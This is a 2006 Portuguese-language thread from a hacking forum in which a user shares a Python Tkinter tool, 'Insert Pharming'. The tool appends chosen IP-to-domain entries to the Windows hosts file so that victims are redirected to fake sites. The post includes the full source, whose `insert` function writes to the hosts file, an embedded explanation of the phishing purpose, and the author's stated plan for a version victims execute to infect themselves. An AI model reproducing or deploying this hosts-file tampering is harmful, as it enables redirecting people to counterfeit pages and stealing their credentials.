FORUM DARKERS

Tecnologia & Informática => Programação => Python => Tópico iniciado por: Kratos online 10 de Março , 2006, 06:53:12 PM

Título: Insert Pharming (Python)
Enviado por: Kratos online 10 de Março , 2006, 06:53:12 PM
Acabo de codar em python um programa que injeta no arquivo 'host' do Win32 um IP associado a um nome (Pharming)


Para explicar melhor tomei a liberdade de usar (no programa) as palavras do Shady sobre a Técnica, pois foi a que eu achei mais resumida!!


(//http://img101.imageshack.us/img101/600/pharming19ag.png)


Download :  http://rapidshare.de/files/15188518/Pharming.pyo.html (http://rapidshare.de/files/15188518/Pharming.pyo.html)


Espero que levem em consideração a baixa qualidade do Tkinter!!

Logo vou codar um que gera um executavel (algo que seja um servidor) que a vitima executa e se infecta (o host)

...
Título: Re: Insert Pharming (Python)
Enviado por: Anonymous online 10 de Março , 2006, 07:15:31 PM
Meu amigo se você quiser um de forma mais simples faça em delphi que ja ajuda muito!!!
Título: Re: Insert Pharming (Python)
Enviado por: Shady online 11 de Março , 2006, 12:13:25 AM
Sim, mas funcionou ta valendo =)
Título: Re: Insert Pharming (Python)
Enviado por: slul online 11 de Março , 2006, 02:18:05 AM
Citação de: "Wolff123"Meu amigo se você quiser um de forma mais simples faça em delphi que ja ajuda muito!!!

O python é tao simples qto o Object Pascal ^^

Abraço
Título: Re: Insert Pharming (Python)
Enviado por: Cloudy online 12 de Março , 2006, 03:20:16 PM
Aí, fiz um em Shell Script, quem quiser dar uma olhadinha: http://www.darkers.com.br/smf/index.php/topic,1140.0.html (//http://www.darkers.com.br/smf/index.php/topic,1140.0.html)

...by Cloudy
Título: Re: Insert Pharming (Python)
Enviado por: locator.dll online 20 de Maio , 2006, 04:59:51 PM
Kratos tem como você postar o código do .py ? ;)

vlw

locator.dll
Título: Re: Insert Pharming (Python)
Enviado por: Kratos online 22 de Maio , 2006, 02:40:59 PM
Pôw, desculpa aew Locator.... foi mal demorar para responder kra!!
Ta ai o source pra quem quiser estudar....

# -*- coding: ISO-8859-1 -*-
# By Kratos

from Tkinter import *
import tkMessageBox
import socket


_text = """A tecnica Pharming consiste em modificar o arquivo de hosts do sistema para enganar o usuario e faze-lo inserir dados em paginas falsas.\n
Você teoricamente precisaria digitar http://64.233.161.147 para entrar no Google. O protocolo DNS serve para facilitar o uso de browsers, associando um "nome" (www.google.com) ao endereço real do servidor (64.233.161.147).\n\n
O Windows possui um "arquivo DNS local". Nele você pode associar endereços de IP a nomes. A unica entrada presente nele por default e:\n
127.0.0.1        localhost\n
Se voce abrir seu navegador e digitar: "localhost", vai cair em 127.0.0.1 (a mesma coisa se usar ping localhost, ou se usar localhost em qualquer outro programa instalado no computador que peça um hostname ou IP).\n
Sabendo da existencia deste arquivo, hackers podem modifica-lo para criar armadilhas. Voçe pode associar um endereco IP de um site que falsificou ao nome real do site.\n
bY Shady <www.darkers.com.br>"""

# Créditos do comentario acima: Shady

_about = """Insert Pharming v 0.1
Linguagem: Python (form Win32)\n
Plataforma: Windows XP/2000/NT\n
Coder: Kratos\n
e-mail: eu_mesmoSP@hotmail.com"""

class Myapp(Frame):
def __init__(self, master=None):
Frame.__init__(self, master)
self.configure()
self.grid()


# Menus -------------------------------------------------

self.menu = Menu(root)
root.config(menu=self.menu)

self.filemenu = Menu(self.menu)
self.menu.add_cascade(label="Arquivo", menu=self.filemenu)
self.filemenu.add_command(label="Sair", command=lambda:self.exit(self))

self.helpmenu = Menu(self.menu)
self.menu.add_cascade(label="Ajuda", menu=self.helpmenu)
self.helpmenu.add_command(label="Pharming", command=lambda:self.pharm(self))
self.helpmenu.add_command(label="Pegar IP", command=lambda:self.gethost(self))
self.helpmenu.add_command(label="Sobre...", command=lambda:self.about(self))

# -------------------------------------------------------

self.label1 = Label()
self.label1.configure(width=20, text="Pharming -----", fg="#861a1a", font="Arial 12 bold")
self.label1.grid(column=0,row=0)


self.labelip = Label()
self.labelip.configure(width=10, text="IP : ", fg="blue")
self.labelip.grid(column=0,row=1)

self.numip  = Entry()
self.numip.configure(width=20, fg="white", bg="black", borderwidth="5")
self.numip.grid(column=1,row=1)

self.labeldns = Label()
self.labeldns.configure(width=10, text="Nome (DNS): ", fg="blue")
self.labeldns.grid(column=0,row=2)

self.dns = Entry()
self.dns.configure(width=20,fg="white", bg="black", borderwidth="5")
self.dns.grid(column=1,row=2)

self.button1 = Button()
self.button1.configure(width=10, text="Inserir", border="5", command=lambda:self.insert(self))
self.button1.grid(column=0,row=3)


def exit(self, event):
root.destroy()


def pharm(self, event):
tkMessageBox.showwarning("Pharming", _text)

def gethost(self, event):
self.labelh = Label()
self.labelh.configure(width=10, text="Hostname", fg="blue")
self.labelh.grid(column=0,row=4)

self.host = Entry()
self.host.configure(width=20,fg="white", bg="black", borderwidth="5", relief="groove")
self.host.grid(column=1,row=4)

self.button2 = Button()
self.button2.configure(width=10, text="Checar...", border="5", fg="red", command=lambda:self.sockget(self))
self.button2.grid(column=0,row=5)

self.scrol = Scrollbar()
self.scrol.grid(column=1,row=6,stick="w",pady=5,ipady=45)


self.t = "--->> "
self.txt = Listbox()
self.txt.configure(width=30, height=10, bg="black", fg="yellow",yscrollcommand=self.scrol.set)
self.txt.insert(END,self.t)
self.txt.grid(column=0,row=6)

self.scrol.configure(command=self.txt.yview)


def sockget(self, event):
self.t2 = "Preencha o campo !!! \n"
try:
self.ind = self.host.get()
self.ind2 = socket.gethostbyname(self.ind)
self.ind3 = "IP : %s\n" %(self.ind2)
if self.host.get() == "":
self.txt.insert("end", self.t2)
else:
self.txt.insert("end", self.ind3)

    except socket.gaierror:
      tkMessageBox.showwarning("Erro", "Ocorreu um erro\n\nTente novamnte!")

def about(self, event):
tkMessageBox.showwarning("Sobre Insert Pharming", _about)


def insert(self, event):
try:
self.src = "C:\WINDOWS\system32\drivers\etc\hosts"
self.dnsset = "%s    %s\n" %(self.numip.get(),self.dns.get())
self._insert = "Você acaba de injetar o IP %s associado ao nome %s no arquivo 'host'" %(self.numip.get(),self.dns.get())

f = open(self.src,"a")
f.write("\n")
f.write(self.dnsset)
f.close
tkMessageBox.showwarning("Insert Pharming", self._insert)

except error:
tkMessageBox.showwarning("Erro", "Ocorreu algum erro ao tentar abrir o arquivo 'host' no seu Computador")


root = Tk()
root.title("Insert Pharming")
Myapp = Myapp(root)
root.mainloop()  # uffa!

obs.: O programa esta com os comentarios e variaveis tudo dentro dele, mas eu poderia simplesmente usar uma classe a parte, para deixa-lo mais leve

vlw
Título: Re: Insert Pharming (Python)
Enviado por: locator.dll online 22 de Maio , 2006, 05:20:04 PM
Obrigado Kratos.. ;)

vlw

locator.dll